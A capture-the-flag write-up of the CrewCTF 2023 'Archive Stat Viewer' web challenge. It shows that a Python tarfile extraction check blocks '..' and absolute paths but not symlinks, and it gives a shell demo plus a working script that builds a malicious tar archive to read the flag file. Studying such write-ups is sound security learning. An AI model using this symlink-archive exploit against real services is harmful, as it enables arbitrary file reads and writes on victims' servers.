---
# System prepended metadata

title: Archive Stat Viewer - CrewCTF 2023
tags: [cyber, zipslip, ctf, web]

---

{%hackmd hackmd-dark-theme %}

# Archive Stat Viewer - CrewCTF 2023

In the recent CrewCTF 2023, participants encountered a challenge named "Archive Stat Viewer". It was a zip-slip challenge. However, the challenge's authors added a unique twist by incorporating best practices for safely unpacking files, specifically highlighting the use of the tarfile module in Python.



> Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..".
> Set filter='data' to prevent the most dangerous security issues, and read the Extraction filters section for details.


Remarkably, the authors of the challenge diligently adhered to the aforementioned best practices. Here's a concise demonstration:


```python
def extract_archive(archive_path, extract_folder):
	with tarfile.open(archive_path) as archive:
		for member in archive.getmembers():
			if member.name[0] == '/' or '..' in member.name:
				raise HackingException('Malicious archive')
		archive.extractall(extract_folder)
```


# The Logic

The logic of the challenge was actually simple: 

1. Handle a tar file upload
2. **safley** unpack
3. View the actual result in a JSON file


```python
@app.get('/results/<archive_id>')
def download_result(archive_id):
	if 'archives' not in session:
		session['archives'] = []
	archive_id = Path(archive_id).name
	return send_file(UPLOAD_DIR / archive_id / 'result.json')
```



# The Out-Of-Bound Write

Because the code was being handled by the server-side code of the challenge, tricks like using encoding simply wont work. 


But because there wasn't a protection against symlinks, we are able to create a symlink to the root of the filesystem **/** and write to a specific path afterwards. 

```bash
root@4120bf685729:/tmp# ls -la
total 8
drwxrwxrwt 1 root root 4096 Aug 16 05:33 .
drwxr-xr-x 1 root root 4096 Aug 16 04:30 ..
root@4120bf685729:/tmp# ln -s / symlink.jpg
root@4120bf685729:/tmp# echo "Oh pwned" > symlink.jpg/tmp/pwned
root@4120bf685729:/tmp# ls -la
total 12
drwxrwxrwt 1 root root 4096 Aug 16 05:34 .
drwxr-xr-x 1 root root 4096 Aug 16 04:30 ..
-rw-r--r-- 1 root root    9 Aug 16 05:34 pwned
lrwxrwxrwx 1 root root    1 Aug 16 05:34 symlink.jpg -> /
root@4120bf685729:/tmp# 
```

# The Solution

We can simply replicate the previous technique using Python **tarfile**

```python
import tarfile

with tarfile.open('exploit.tar.gz', 'w:gz') as tar:
    # First file
    info1 = tarfile.TarInfo("./test.txt")
    info1.type = tarfile.SYMTYPE
    info1.linkname = "/" 
    tar.addfile(info1)

    # Second file
    info2 = tarfile.TarInfo("./test.txt/web-apps/src/archives/658bf5b0-b12f-48c9-be3d-e9ff465a2a94/result.json") # uuid of previously uploaded file
    info2.type = tarfile.SYMTYPE
    info2.linkname = "/web-apps/src/flag.txt"
    tar.addfile(info2)
```


# Refs

https://security.snyk.io/research/zip-slip-vulnerability
https://res.cloudinary.com/snyk/image/upload/v1528192501/zip-slip-vulnerability/technical-whitepaper.pdf
https://www.youtube.com/watch?v=Ry_yb5Oipq0

